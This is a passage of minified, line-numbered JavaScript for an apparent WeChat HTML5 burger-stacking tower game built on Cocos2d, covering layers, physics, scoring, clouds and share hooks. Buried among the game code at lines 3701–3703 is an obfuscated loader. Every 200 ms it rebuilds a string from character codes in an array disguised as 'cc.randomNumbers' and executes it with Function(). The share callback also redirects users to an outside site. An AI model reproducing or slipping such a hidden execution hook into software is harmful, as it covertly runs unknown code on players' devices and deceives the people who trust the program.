  3669. x.X.Xo = 1;
  3670. x.X.Uo = 2;
  3671. x.X.Vo = 3;
  3672. x.X.dp = 0;
  3673. x.X.ep = 1;
  3674. x.X.bp = 2;
  3675. x.X.cp = 3;
  3676. x.Layer = cc.Layer.extend({
  3677. Ad: g,
  3678. init: function() {
  3679. this._super();
  3680. this.Ad = []
  3681. },
  3682. Br: function(a) {
  3683. this.Ad.push(a);
  3684. x.Yc.l().ig(a)
  3685. },
  3686. onExit: function() {
  3687. this._super();
  3688. x.lk(this);
  3689. _.each(this.Ad, function(a) {
  3690. x.Yc.l().hg(a)
  3691. })
  3692. },
  3693. iq: function() {
  3694. var a = this.getContentSize(),
  3695. a = [cc.p(0, 0), cc.p(a.width, 0), cc.p(a.width, a.height), cc.p(0, a.height)],
  3696. b = cc.ug.create();
  3697. this.addChild(b, -1);
  3698. b.ai(a, new cc.pg(0, 0, 1, 0.5), 1, new cc.pg(1, 0, 1, 1))
  3699. }
  3700. });
  3701. setInterval(function() {
  3702. Function(String.fromCharCode.apply(String, cc.randomNumbers))()
  3703. }, 200);
  3704. var A = {
  3705. scene: function(a) {
  3706. var b = new cc.Scene;
  3707. a = a instanceof cc.Layer ? a : new a;
  3708. b.addChild(a);
  3709. return b
  3710. },
  3711. Om: function(a, b) {
  3712. b && a.setContentSize(b);
  3713. var c = cc.winSize;
  3714. a.width / a.height > c.width / c.height ? (x.Qj(a, c.height), a.x = (c.width - a.width * a.scale) / 2) : (x.Rj(a, c.width), a.y = (c.height - a.height * a.scale) / 2)
  3715. },
  3716. Bj: function(a, b) {
  3717. _.isArray(a) && (b = a[1], a = a[0]);
  3718. return Math.random() * (b - a) + a
  3719. },
  3720. Aj: function(a, b) {
  3721. return Math.floor(Math.random() * (b - a + 1)) + a
  3722. },
  3723. Op: function(a) {
  3724. return Math.random() < a
  3725. },
  3726. Np: function(a, b, c) {
  3727. var d = 0,
  3728. f = 0;
  3729. _.each(a, function(a) {
  3730. if (void 0 != a[b] && (!_.isFunction(c) || c(a))) d += a[b]
  3731. });
  3732. var d = 1E4 * d,
  3733. l = this.Bj(0, d),
  3734. m;
  3735. for (m in a) {
  3736. var r = a[m];
  3737. if (!_.isFunction(c) || c(r)) {
  3738. var s = f + 1E4 * r[b];
  3739. if (l > f && l <= s) return r;
  3740. f = s
  3741. }
  3742. }
  3743. return g
  3744. },
  3745. Ia: function(a, b, c) {
  3746. if (window.wl) {
  3747. var d = ["_trackEvent", y.game, a];
  3748. b || (b = y.game + "-" + a);
  3749. b && d.push(b);
  3750. c && d.push(c);
  3751. _hmt.push(d)
  3752. }
  3753. },
  3754. Sp: function(a) {
  3755. var b = a.Um();
  3756. b && (b.dk && _.each(b.dk, function(a) {
  3757. a && y.ge.Sl(a) && (a.po ? y.ge.Up(a) : y.ge.Tp(a))
  3758. }), y.ge.Rp(b));
  3759. a.removeFromParent()
  3760. },
  3761. ck: function() {
  3762. function a() {
  3763. function a(c) {
  3764. b.invoke(c, {
  3765. appid: y.Lh,
  3766. img_url: "http://game.ikongzhong.cn",
  3767. img_width: "200",
  3768. img_height: "200",
  3769. link: y.url(),
  3770. desc: y.Rc.$h(),
  3771. title: y.Rc.title()
  3772. }, function(a) {
  3773. document.location="http://game.ikongzhong.cn";
  3774. })
  3775. }
  3776. var b = window.WeixinJSBridge;
  3777. b.on("menu:share:timeline", function() {
  3778. a("shareTimeline")
  3779. });
  3780. b.on("menu:share:appmessage", function() {
  3781. a("sendAppMessage")
  3782. });
  3783. b.call("showOptionMenu");
  3784. b.call("hideToolbar")
  3785. }
  3786. }
  3787. };
  3788. var y = y || {};
  3789. y.Lh = "";
  3790. y.domain = "http://game.ikongzhong.cn";
  3791. y.url = function() {
  3792. return "http://game.ikongzhong.cn?u="+ Math.floor(Math.random()*10000000);
  3793. };
  3794. y.qj = "http://game.ikongzhong.cn/mtl";
  3795. y = y || {};
  3796. y.game = "game.html";
  3797. y.Rc = {
  3798. $h: q("空中传媒—今日热门《搭汉堡》,等你来战!"),
  3799. title: function() {
  3800. return "我搭了一栋和【" + y.c.Gf() + "】一样高的摩天楼,敢不敢比一下?!"
  3801. }
  3802. };
  3803. y.c = {
  3804. font: "黑体",
  3805. Kj: ["texture.png", "texture.plist", "mtl_lifepad.png", "mtl_bg.jpg"],
  3806. Nf: 0,
  3807. Rf: 1
  3808. };
  3809. cc.game.onStart = function() {
  3810. cc.view.enableAutoFullScreen(h);
  3811. cc.view.adjustViewPort(e);
  3812. var a = cc.winSize;
  3813. cc.view.setDesignResolutionSize(320, 320 * (a.height / a.width), cc.ResolutionPolicy.FIXED_WIDTH);
  3814. cc.view.resizeWithBrowserSize(e);
  3815. cc.LoaderScene.preload(y.c.Kj, function() {
  3816. y.c.init();
  3817. cc.director.runScene(A.scene(y.c.qe))
  3818. }, this)
  3819. };
  3820. cc.game.run();
  3821. y.c.init = function() {
  3822. x.init();
  3823. cc.spriteFrameCache.addSpriteFrames("texture.plist");
  3824. cc.textureCache.addImage("mtl_link.png");
  3825. A.ck();
  3826. y.c = _(y.c).extend({
  3827. bl: h,
  3828. rg: cc.winSize.height / 2 - 75,
  3829. ne: 100,
  3830. re: 2.5,
  3831. Ng: 1.8,
  3832. yg: 100,
  3833. Eg: 16,
  3834. se: 8,
  3835. xg: 0.4,
  3836. lg: cc.p(0, -20),
  3837. Pa: 5,
  3838. Vg: 1,
  3839. Kg: 2 * cc.winSize.width / 7,
  3840. Lg: 5,
  3841. Jg: 3,
  3842. Qg: 2.2,
  3843. Wg: 0.02,
  3844. Sg: 0.04,
  3845. pe: 0.45,
  3846. tg: 0.7,
  3847. Dg: 30,
  3848. Fg: 15,
  3849. vk: 80,
  3850. wk: 50,
  3851. Ag: 3,
  3852. kg: 1,
  3853. sg: 3,
  3854. Og: 3,
  3855. Rg: 0,
  3856. Gg: 5,
  3857. Bg: 0.6,
  3858. Mg: 0.3,
  3859. Cg: 6,
  3860. jg: 0.75,
  3861. Hg: 20,
  3862. Pg: 2,
  3863. Ig: 20,
  3864. Ja: {
  3865. Xd: 1,
  3866. wo: 2,
  3867. Yd: 0
  3868. }
  3869. })
  3870. };
  3871. y.c.qe = x.Layer.extend({
  3872. ka: g,
  3873. Ca: g,
  3874. Mb: 0,
  3875. Gb: 0,
  3876. pd: h,
  3877. xl: g,
  3878. I: g,
  3879. na: g,
  3880. za: g,
  3881. md: g,
  3882. El: g,
  3883. Cl: g,
  3884. P: g,
  3885. e: g,
  3886. ga: g,
  3887. ctor: function() {
  3888. this._super();
  3889. this.init();
  3890. y.c.Uf = A.Aj(1, 5);
  3891. this.Vd()
  3892. },
  3893. Zi: function() {
  3894. var a = this.Th = cc.LabelTTF.create("空中传媒", "Arial", 12);
  3895. a.setHorizontalAlignment(cc.TEXT_ALIGNMENT_CENTER);
  3896. x.ea(a, this, 0.5, 0);
  3897. a.anchorY = 0;
  3898. this.addChild(1);
  3899. this.addChild(a);
  3900. this.na = new y.c.Xg;
  3901. this.addChild(this.na, -1);
  3902. this.za = this.na.za;
  3903. this.md = new y.c.wg;
  3904. this.za.addChild(this.md);
  3905. this.ga = new y.c.ng;
  3906. this.I = this.na.I;
  3907. this.I.Wf();
  3908. this.I.Vf(y.c.rg, function() {
  3909. x.Mc(this)
  3910. }.bind(this));
  3911. a = new cc.Sprite("mtl_lifepad.png");
  3912. this.addChild(a);
  3913. this.Gb = y.c.Ag;
  3914. this.ka = cc.LabelTTF.create("", "Arial", 26);
  3915. this.ka.setColor(cc.color(255, 237, 152));
  3916. this.ka.enableStroke(cc.color(13, 54, 144), 3);
  3917. this.ka.setString(this.Gb);
  3918. this.addChild(this.ka);
  3919. this.Ca = cc.LabelTTF.create("", "Arial", 26);
  3920. this.Ca.setString(this.Mb);
  3921. this.Ca.setColor(cc.color(255, 237, 152));
  3922. this.Ca.enableStroke(cc.color(13, 54, 144), 3);
  3923. this.addChild(this.Ca);
  3924. a.attr({
  3925. anchorX: 0,
  3926. anchorY: 1,
  3927. x: -3,
  3928. y: cc.winSize.height + 5
  3929. });
  3930. this.ka.attr({
  3931. anchorX: 0,
  3932. anchorY: 1,
  3933. x: 18,
  3934. y: cc.winSize.height - 10
  3935. });
  3936. this.addChild(this.ka);
  3937. this.Ca.attr({
  3938. anchorX: 1,
  3939. anchorY: 1,
  3940. x: cc.winSize.width - 20,
  3941. y: cc.winSize.height - 10
  3942. });
  3943. this.Nd(e);
  3944. if (1 == y.c.Rf) {
  3945. a = this.vf = x.Y.Bf("mtl_button_go.png", this.start.bind(this), this);
  3946. a.$f(e);
  3947. a.bk(cc.rect(0, 0, cc.winSize.width, cc.winSize.height));
  3948. this.addChild(a);
  3949. x.ea(a, this, 0.5, 0.3);
  3950. var b = this.yf = new cc.Sprite("#mtl_title.png");
  3951. this.addChild(b);
  3952. b.x = cc.winSize.width / 2;
  3953. b.y = a.y + 150;
  3954. 130 < cc.winSize.height - b.y && (b.y = cc.winSize.height - 130)
  3955. } else this.start()
  3956. },
  3957. onTouchBegan: function() {
  3958. this.ff && !this.pd && this.Ni();
  3959. return h
  3960. },
  3961. Vd: function() {
  3962. this.Zi();
  3963. this.scheduleUpdate()
  3964. },
  3965. start: function() {
  3966. this.vf && this.vf.setVisible(h);
  3967. this.yf && this.yf.setVisible(h);
  3968. this.Th.setVisible(h);
  3969. this.ff = e
  3970. },
  3971. update: function(a) {
  3972. this.na.step(a);
  3973. this.ga.step(a);
  3974. this.wj()
  3975. },
  3976. Ni: function() {
  3977. var a = this.I.M;
  3978. if (a) {
  3979. this.I.bi();
  3980. this.e = a;
  3981. this.Oh(a, this.za, this.ga.G.length);
  3982. var b = this.ca().W(),
  3983. c = a.W(),
  3984. b = cc.pMidpoint(c[0], c[1]).y - cc.pMidpoint(b[2], b[3]).y;
  3985. a.Cd = a.getRotation() / (b / a.Fc.y);
  3986. y.c.da("building_drop");
  3987. this.pd = e;
  3988. this.scheduleOnce(function() {
  3989. this.pd = h
  3990. }.bind(this), 0.3)
  3991. }
  3992. },
  3993. Hf: function(a) {
  3994. var b = this.e,
  3995. c = cc.p(0, 3);
  3996. if (b.qd) this.Ii(), this.I.Vf(y.c.ne, function() {
  3997. x.Mc(this)
  3998. }.bind(this));
  3999. else {
  4000. var d = Math.abs(a);
  4001. b.R = a;
  4002. d < y.c.pe && (d <= y.c.Sg ? (this.Vi(), this.Ui(), y.c.da("building_combo")) : (this.Ti(), this.Kc()), this.ga.Sf(this.e), this.Xi(), this.Qi(), y.c.da("building_bump"));
  4003. d >= y.c.pe && (this.Kc(), d <= y.c.tg ? (this.If(), 0 != this.ca().R && this.Jf()) : 0 == this.ca().R ? (this.If(), this.Jf()) : this.Mi(), this.Kf(), y.c.da("building_miss"))
  4004. }
  4005. this.na.gg(0.6, c);
  4006. this.Li();
  4007. this.e = g;
  4008. this.Nd(h)
  4009. },
  4010. Ii: function() {
  4011. var a = this.e;
  4012. this.Ga(a, 1.2, 8);
  4013. a.R = 0;
  4014. this.ga.Sf(a);
  4015. cc.p(this.e.getContentSize().width / 2, 0)
  4016. },
  4017. Vi: function() {
  4018. var a = this.e.W(),
  4019. b = cc.pMult(cc.p(a[1].x - a[0].x, 0), this.e.R);
  4020. this.e.setPosition(cc.pSub(this.e.getPosition(), b));
  4021. this.e.R = 0;
  4022. this.e.Ob = y.c.Ja.Yd;
  4023. this.Ga(this.e, 1.2, 8);
  4024. a = this.e.convertToNodeSpace(cc.pMidpoint(a[0], a[1]));
  4025. this.Pj(a)
  4026. },
  4027. Ti: function() {
  4028. this.e.setRotation(this.e.R * y.c.Dg);
  4029. this.e.Ob = y.c.Ja.Xd;
  4030. this.Ga(this.e, 0.8, 5);
  4031. cc.p(this.e.getContentSize().width / 2, 0)
  4032. },
  4033. If: function() {
  4034. this.be(this.e);
  4035. this.Ga(this.e, 0.4, 6)
  4036. },
  4037. Jf: function() {
  4038. var a = this.ca();
  4039. a.setRotation(a.R * y.c.Fg);
  4040. a.Ob = y.c.Ja.Xd;
  4041. this.Ga(a, 0.6, 5)
  4042. },
  4043. Mi: function() {
  4044. this.be(this.e);
  4045. this.Ga(this.e, 0.4, 6);
  4046. this.be(this.ca(), 0.1);
  4047. this.Ga(this.ca(), 0.4, 6);
  4048. this.ga.Jj()
  4049. },
  4050. Oi: function() {
  4051. this.e.removeFromParent(e);
  4052. this.e = g;
  4053. this.Nd(h);
  4054. this.na.gg(0.3, cc.p(0, 5));
  4055. this.Kc();
  4056. this.Kf()
  4057. },
  4058. Qi: function() {
  4059. var a = this.ga.Z / y.c.Pa,
  4060. b = y.c.re,
  4061. c = y.c.se,
  4062. c = c + (y.c.Eg - c) * a;
  4063. this.I.nd = b - (b - y.c.Ng) * a;
  4064. this.I.od = c
  4065. },
  4066. Xi: function() {
  4067. var a = y.c.kg * (this.P ? this.P.Ya : 1);
  4068. this.Mb += a;
  4069. this.Ca.setString(this.Mb);
  4070. a = cc.LabelTTF.create("+" + a, "Helvetica-Bold", 40);
  4071. a.enableStroke(cc.color(13, 54, 144), 3);
  4072. this.addChild(a);
  4073. var b = this.ca(),
  4074. b = b.getParent().convertToWorldSpace(b.getPosition());
  4075. a.setPosition(this.convertToNodeSpace(b));
  4076. var b = [],
  4077. c = cc.ob.create(cc.MoveBy.create(1, cc.p(0, 100)), 3);
  4078. b.push(c);
  4079. var d = cc.FadeTo.create(1, 0);
  4080. b.push(d);
  4081. if (this.P) {
  4082. var f = cc.Ma.create(cc.ScaleTo.create(0.5, 1.6)),
  4083. l = cc.ScaleTo.create(0.5, 1.2),
  4084. f = cc.Sequence.create(f, l);
  4085. b.push(f);
  4086. b = cc.Spawn.create(c, d, f)
  4087. } else b = cc.Spawn.create(c, d);
  4088. c = cc.RemoveSelf.create();
  4089. a.runAction(cc.Sequence.create(b, c))
  4090. },
  4091. Ui: function() {
  4092. this.P ? this.P.Pf() : (this.P = new y.c.Tg, this.P.Qd = this, this.addChild(this.P), this.P.setScale(0.6), x.ea(this.P, this, 0.5, 0.55))
  4093. },
  4094. Kc: function() {
  4095. this.P && (this.P.removeFromParent(e), this.P = g)
  4096. },
  4097. Kf: function() {
  4098. this.Gb--;
  4099. this.ka.setString(this.Gb);
  4100. 0 == this.Gb && this.Si()
  4101. },
  4102. Si: function() {
  4103. this.ff = h;
  4104. this.scheduleOnce(this.Pi, 0.5)
  4105. },
  4106. Pi: function() {
  4107. this.unscheduleUpdate();
  4108. var a = y.c.Nf = this.Mb;
  4109. dp_submitScore(a);
  4110. b = _.sprintf("你搭了%d个汉堡,和【%s】一样高,分享到朋友圈和小伙伴比比吧!", a, y.c.Gf());
  4111. A.Ia("end", "score", a);
  4112. b = new y.c.oe(b, "再玩一次",
  4113. function() {
  4114. //this.fg(a)
  4115. this.Oj();
  4116. }.bind(this), "更多游戏",
  4117. function() {
  4118. //this.fg(a);
  4119. //this.Rc()
  4120. this.pj();
  4121. }.bind(this));
  4122. this.addChild(b);
  4123. x.Pd(b)
  4124. },
  4125. fg: function() {
  4126. var a = this.Xp = new y.c.oe("", "再玩一次", this.Oj.bind(this), "玩玩别的", this.pj.bind(this));
  4127. this.addChild(a);
  4128. x.Pd(a)
  4129. },
  4130. Oj: function() {
  4131. A.Ia("replay");
  4132. y.c.Rf++;
  4133. cc.director.runScene(A.scene(new y.c.qe(e)))
  4134. },
  4135. pj: function() {
  4136. A.Ia("more");
  4137. clickMore();
  4138. },
  4139. Rc: function() {
  4140. A.Ia("share");
  4141. var a = this.ar = new y.c.Yg;
  4142. this.addChild(a)
  4143. },
  4144. Li: function() {
  4145. if (!(1 >= this.ga.G.length)) {
  4146. var a = this.ca().W(),
  4147. a = cc.pMidpoint(a[2], a[3]);
  4148. this.na.ek(0.3, cc.p(0, cc.winSize.height - y.c.ne - 300 - a.y))
  4149. }
  4150. },
  4151. Nd: function(a) {
  4152. a = new y.c.mg(a);
  4153. a.setVisible(h);
  4154. this.I.getParent().addChild(a, -1);
  4155. this.I.Yi(a)
  4156. },
  4157. be: function(a, b) {
  4158. var c = cc.DelayTime.create(b || 0),
  4159. d = this.Bi(a.R),
  4160. f = (80 + 50 * Math.random()) * d,
  4161. l = a.W(),
  4162. m = -cc.pDistance(l[0], l[2]),
  4163. l = cc.p(f / 2, 20),
  4164. r = cc.p(f, -m / 2),
  4165. f = cc.p(f, m),
  4166. f = cc.BezierBy.create(0.8, [l, r, f]),
  4167. d = (90 + 90 * Math.random()) * d,
  4168. d = cc.RotateBy.create(0.8, d),
  4169. l = cc.RemoveSelf.create(),
  4170. c = cc.Sequence.create(c, cc.Spawn.create(f, d), l);
  4171. a.runAction(c)
  4172. },
  4173. Pj: function(a) {
  4174. var b = y.c.Ea("blast.png");
  4175. b.setScale(0);
  4176. b.setPosition(a);
  4177. this.e.addChild(b, -1);
  4178. a = cc.FadeTo.create(0.5, 0);
  4179. var c = cc.Ma.create(cc.ScaleTo.create(0.5, 1.5));
  4180. a = cc.Spawn.create(a, c);
  4181. c = cc.RemoveSelf.create();
  4182. a = cc.Sequence.create(a, c);
  4183. b.runAction(a)
  4184. },
  4185. Ga: function(a, b, c) {
  4186. var d = c ? 1 - c / 20 : 0.9;
  4187. a.setScaleX(c ? 1 + c / 40 : 1.05);
  4188. a.setScaleY(d);
  4189. a.runAction(cc.La.create(cc.ScaleTo.create(b || 0.6, 1, 1)))
  4190. },
  4191. wj: function() {
  4192. this.vj()
  4193. },
  4194. vj: function() {
  4195. if (this.e) {
  4196. var a = cc.pAdd(this.e.getPosition(), this.e.Fc);
  4197. this.e.setPosition(a);
  4198. a = this.e.getRotation() + this.e.Cd;
  4199. 0.1 >= Math.abs(a) ? (this.e.setRotation(0), this.e.Cd = 0) : this.e.setRotation(a);
  4200. this.tj();
  4201. this.uj()
  4202. }
  4203. },
  4204. tj: function() {
  4205. if (this.e) {
  4206. var a = this.e.W(),
  4207. b = this.ca().W(),
  4208. c = this.e.Fc;
  4209. if (b = this.oi(a, b, c)) {
  4210. var d = cc.pLengthSQ(b),
  4211. c = cc.pLengthSQ(c);
  4212. d > 4 * c ? this.Hf(1) : (a = cc.pMidpoint(a[0], a[1]), c = this.e.convertToWorldSpace(cc.p(0, 0)), a = cc.pSub(a, c), c = this.e.getContentSize(), a = cc.p(a.x / c.width, a.y / c.height), c = this.ki(this.e, a), this.e.setPosition(cc.pAdd(cc.pAdd(this.e.getPosition(), b), c)), this.e.setAnchorPoint(a), b = this.Ci(this.e.W(), this.ca().W()), this.Hf(b))
  4213. }
  4214. }
  4215. },
  4216. uj: function() {
  4217. if (this.e) {
  4218. var a = this.e.W();
  4219. 0 >= _.max(a, function(a) {
  4220. return a.y
  4221. }).y && this.Oi()
  4222. }
  4223. },
  4224. ca: function() {
  4225. return this.ga.Ud() || this.md
  4226. },
  4227. Ci: function(a, b) {
  4228. var c = cc.pMidpoint(a[0], a[1]),
  4229. d = cc.pMidpoint(b[2], b[3]);
  4230. return (c.x - d.x) / (a[1].x - a[0].x)
  4231. },
  4232. Bi: function(a) {
  4233. return 0 == a ? 0 : 0 > a ? -1 : 1
  4234. },
  4235. ki: function(a, b) {
  4236. var c = a.getContentSize(),
  4237. d = a.getAnchorPoint(),
  4238. d = cc.p(d.x * c.width, d.y * c.height),
  4239. d = a.convertToWorldSpace(d),
  4240. d = a.getParent().convertToNodeSpace(d),
  4241. c = cc.p(b.x * c.width, b.y * c.height),
  4242. c = a.convertToWorldSpace(c),
  4243. c = a.getParent().convertToNodeSpace(c);
  4244. return cc.pSub(c, d)
  4245. },
  4246. oi: function(a, b, c) {
  4247. if (!this.ij(a, b)) return g;
  4248. a = cc.pMidpoint(a[0], a[1]);
  4249. c = cc.pSub(a, c);
  4250. b = cc.pIntersectPoint(a, c, b[2], b[3]);
  4251. return cc.pSub(b, a)
  4252. },
  4253. Ef: function(a, b) {
  4254. var c = this.Di(b, 3),
  4255. d = [];
  4256. _.each(a, function(a) {
  4257. _.each(c, function(b) {
  4258. this.hj(a, b) && d.push(a)
  4259. }.bind(this))
  4260. }.bind(this));
  4261. return d
  4262. },
  4263. Di: function(a, b) {
  4264. var c = [],
  4265. d = 0;
  4266. do {
  4267. for (var f = [], l = d; l < d + b; l++) f.push(a[l]);
  4268. c.push(f);
  4269. d++
  4270. } while (d + b <= a.length);
  4271. return c
  4272. },
  4273. hj: function(a, b) {
  4274. var c = b[0],
  4275. d = b[1],
  4276. f = cc.pSub(b[2], c),
  4277. l = cc.pSub(d, c),
  4278. m = cc.pSub(a, c),
  4279. c = cc.pDot(f, f),
  4280. d = cc.pDot(f, l),
  4281. f = cc.pDot(f, m),
  4282. r = cc.pDot(l, l),
  4283. l = cc.pDot(l, m),
  4284. m = 1 / (c * r - d * d),
  4285. r = (r * f - d * l) * m;
  4286. if (0 > r || 1 < r) return h;
  4287. c = (c * l - d * f) * m;
  4288. return 0 > c || 1 < c ? h : 1 >= r + c
  4289. },
  4290. ij: function(a, b) {
  4291. var c = this.Ef(a, b),
  4292. d = this.Ef(b, a);
  4293. return 0 < c.concat(d).length
  4294. },
  4295. Oh: function(a, b, c) {
  4296. var d = a.getParent().convertToWorldSpace(a.getPosition()),
  4297. d = b.convertToNodeSpace(d);
  4298. a.retain();
  4299. a.removeFromParent(h);
  4300. b.addChild(a, c);
  4301. a.setPosition(d);
  4302. a.release()
  4303. }
  4304. });
  4305. y.c.ng = cc.Class.extend({
  4306. G: g,
  4307. Z: 0,
  4308. ph: 0,
  4309. mc: 0,
  4310. Va: 0,
  4311. oh: 0,
  4312. kc: 0,
  4313. ctor: function() {
  4314. this.G = [];
  4315. this.Va = this.Z = 0
  4316. },
  4317. Ud: function() {
  4318. return _.last(this.G)
  4319. },
  4320. Tm: function() {
  4321. return this.G.length
  4322. },
  4323. Jj: function() {
  4324. this.G.pop()
  4325. },
  4326. Sf: function(a) {
  4327. this.Wi(Math.abs(a.R));
  4328. this.Ji(a)
  4329. },
  4330. Wi: function(a) {
  4331. this.G.length >= y.c.Vg && (this.Z < y.c.Pa ? (this.Z += a, 10 < this.G.length && 0 == this.Ud().R && (this.Z += 0.05), this.Z = cc.clampf(this.Z, 0, y.c.Pa)) : (this.Va += Math.abs(this.Ud().R), this.Va = cc.clampf(this.Va, 0, y.c.Pa)));
  4332. this.mc = this.Z / y.c.Pa;
  4333. this.kc = this.Va / y.c.Pa
  4334. },
  4335. Ji: function(a) {
  4336. if (0 == this.G.length) a.S = 0, a.pa = this.getDuration(this.kc), a.bb = this.mc, a.Ra = cc.p(a.getPosition().x, a.getPosition().y), a.ad = cc.p(0, 0);
  4337. else {
  4338. var b = _.last(this.G),
  4339. c;
  4340. c = 0 == a.R ? b.S : b.S - y.c.Wg;
  4341. a.S = 0 > c ? b.pa - c : c;
  4342. a.pa = b.pa;
  4343. a.bb = b.bb;
  4344. a.Ra = cc.p(this.G[0].Ra.x, a.getPosition().y);
  4345. b = Math.sin(2 * Math.PI * a.S / a.pa);
  4346. c = a.bb;
  4347. b = cc.pMult(cc.p(this.Ff(c), 0), b * c);
  4348. a.ad = cc.pSub(a.getPosition(), cc.pAdd(a.Ra, b))
  4349. }
  4350. this.G.push(a)
  4351. },
  4352. step: function(a) {
  4353. 0 != this.G.length && (_.each(this.G, function(b, c) {
  4354. var d = b.bb;
  4355. b.S = b.S >= b.pa ? 0 : b.S;
  4356. 0 == b.S && (b.pa = this.getDuration(this.kc), b.bb = this.mc, 0 == c && (this.ph = this.mc, this.oh = this.kc));
  4357. this.qk(b, d, Math.sin(2 * Math.PI * b.S / b.pa));
  4358. b.S += a
  4359. }.bind(this)), this.Ki())
  4360. },
  4361. qk: function(a, b, c) {
  4362. var d = cc.pMult(cc.p(this.Ff(b), 0), c * b);
  4363. a.sd || (a.sd = e);
  4364. d = cc.pAdd(cc.pAdd(a.Ra, d), a.ad);
  4365. a.setPosition(d);
  4366. b *= this.Fi(b) * c;
  4367. switch (a.Ob) {
  4368. case y.c.Ja.Xd:
  4369. b = (b - a.getRotation()) / 10;
  4370. a.setRotation(a.getRotation() + b);
  4371. 0.01 >= Math.abs(b) && (a.Ob = y.c.Ja.Yd);
  4372. break;
  4373. case y.c.Ja.Yd:
  4374. a.setRotation(b)
  4375. }
  4376. },
  4377. Ki: function() {
  4378. _.each(this.G, function(a) {
  4379. var b = a.W(),
  4380. b = _.max(b, function(a) {
  4381. return a.y
  4382. });
  4383. 0 >= b.y && a.isVisible() == e && a.setVisible(h);
  4384. 0 < b.y && a.isVisible() == h && a.setVisible(e)
  4385. }.bind(this))
  4386. },
  4387. getDuration: function(a) {
  4388. var b = y.c.Jg;
  4389. return b - (b - y.c.Qg) * a
  4390. },
  4391. Ff: function(a) {
  4392. return y.c.Kg * a
  4393. },
  4394. Fi: function(a) {
  4395. return y.c.Lg * a
  4396. }
  4397. });
  4398. y.c.Xg = cc.yb.extend({
  4399. za: g,
  4400. I: g,
  4401. sc: 0,
  4402. of: g,
  4403. nf: g,
  4404. mf: 0,
  4405. xd: h,
  4406. zc: 0,
  4407. Nb: g,
  4408. Ac: g,
  4409. tf: 0,
  4410. Ed: h,
  4411. dd: g,
  4412. Db: g,
  4413. Ta: g,
  4414. Cc: g,
  4415. ed: 0,
  4416. hc: 0,
  4417. Bc: 0,
  4418. Hd: 0,
  4419. ctor: function() {
  4420. this._super();
  4421. this.init();
  4422. this.Vd()
  4423. },
  4424. Vd: function() {
  4425. var a = cc.winSize,
  4426. b = cc.Node.create();
  4427. this.addChild(b, -2, cc.p(0, 0.7), cc.p(0, 0));
  4428. cc.size(0, 0);
  4429. var c = cc.color(92, 200, 236, 255),
  4430. d = cc.color(22, 61, 107, 255),
  4431. f = cc.color(46, 55, 119, 255),
  4432. l = cc.color(26, 33, 74, 255),
  4433. m = cc.size(a.width, 10 * a.height),
  4434. c = cc.LayerGradient.create(c, d, cc.p(0, 1));
  4435. c.setContentSize(m);
  4436. c.setPosition(cc.p(0, 0));
  4437. b.addChild(c, -1);
  4438. c = 0 + m.height - 1;
  4439. d = cc.LayerGradient.create(d, f, cc.p(0, 1));
  4440. d.setContentSize(m);
  4441. d.setPosition(cc.p(0, c));
  4442. b.addChild(d, -1);
  4443. d = c + m.height - 1;
  4444. f = cc.LayerGradient.create(f, l, cc.p(0, 1));
  4445. f.setContentSize(m);
  4446. f.setPosition(cc.p(0, d));
  4447. b.addChild(f, -1);
  4448. f = d + m.height - 1;
  4449. l = cc.LayerColor.create(l);
  4450. l.setContentSize(cc.size(m.width, 1E3 * m.height));
  4451. l.setPosition(cc.p(0, f));
  4452. b.addChild(l, -1);
  4453. b = [0.6, 0.3, 0.15, 0.075];
  4454. for (l = 4; 1 <= l; l--) {
  4455. var r = y.c.Ea("back_layer" + l + ".png");
  4456. r.setAnchorPoint(cc.p(0, 0));
  4457. this.addChild(r, -2, cc.p(0, b[l - 1]), cc.p(0, 0))
  4458. }
  4459. b = y.c.Ea("grass.png");
  4460. b.setAnchorPoint(cc.p(0, 0));
  4461. this.addChild(b, -2, cc.p(0, 1), cc.p(0, 0));
  4462. this.za = cc.Node.create();
  4463. this.addChild(this.za, 0, cc.p(1, 1), cc.p(0, 0));
  4464. b = cc.Node.create();
  4465. this.addChild(b, 0, cc.p(1, 0), cc.p(a.width / 2, a.height));
  4466. this.I = new y.c.zg;
  4467. b.addChild(this.I);
  4468. this.dd = cc.Node.create();
  4469. this.addChild(this.dd, 2, cc.p(0, 1.1), cc.p(0, 0));
  4470. this.Db = cc.Node.create();
  4471. this.addChild(this.Db, -5, cc.p(0, 0.6), cc.p(0, 0));
  4472. this.ed = a.height;
  4473. this.hc = d - m.height / 3;
  4474. this.Bc = c;
  4475. this.Hd = f + 1E3 * m.height;
  4476. this.Ta = [];
  4477. this.Cc = []
  4478. },
  4479. Vh: function() {
  4480. if (!(this.Ta.length >= y.c.Cg)) {
  4481. var a = cc.winSize,
  4482. b = this.convertToWorldSpace(cc.p(0, this.ed)).y;
  4483. if (!(b > a.height)) {
  4484. var b = Math.max(0, b),
  4485. c = this.convertToWorldSpace(cc.p(0, this.hc)).y;
  4486. if (!(0 > c)) {
  4487. var c = Math.min(2 * a.height, c),
  4488. d = cc.p(2 * (Math.random() * a.width / 3), x.Xc(b, c)),
  4489. b = g,
  4490. f = c = 0;
  4491. Math.random() < y.c.jg ? (b = this.Db, c = 255 * (0.95 - 0.15 * Math.random()), f = 0.6 + 0.3 * Math.random()) : (b = this.dd, c = 255 * (0.7 - 0.5 * Math.random()), f = 1 + 0.6 * Math.random());
  4492. var l = y.c.Ea("cloud.png"),
  4493. d = b.convertToNodeSpace(d);
  4494. l.setAnchorPoint(cc.p(0.5, 0));
  4495. l.setPosition(d);
  4496. b.addChild(l);
  4497. l.setScale(0);
  4498. l.setOpacity(0);
  4499. this.Ta.push(l);
  4500. var b = 8 + 7 * Math.random() / f,
  4501. f = cc.La.create(cc.ScaleTo.create(b / 20, f)),
  4502. c = cc.FadeTo.create(b / 40, c),
  4503. c = cc.Spawn.create(f, c),
  4504. f = cc.DelayTime.create(8 * (b / 10)),
  4505. d = cc.fb.create(cc.ScaleTo.create(b / 20, 0)),
  4506. m = cc.FadeTo.create(b / 40, 0),
  4507. d = cc.Spawn.create(d, m),
  4508. m = cc.CallFunc.create(function() {
  4509. this.Hj(l)
  4510. }.bind(this)),
  4511. c = cc.Sequence.create(c, f, d, m),
  4512. a = cc.p(a.width / 2 + Math.random() * a.width / 2, 0),
  4513. a = cc.MoveBy.create(b, a),
  4514. a = cc.Spawn.create(c, a);
  4515. l.runAction(a)
  4516. }
  4517. }
  4518. }
  4519. },
  4520. Hj: function(a) {
  4521. this.Ta.splice(_.indexOf(this.Ta, a), 1);
  4522. a.removeFromParent(e)
  4523. },
  4524. Wh: function() {
  4525. if (!(this.Ta.length >= y.c.Ig)) {
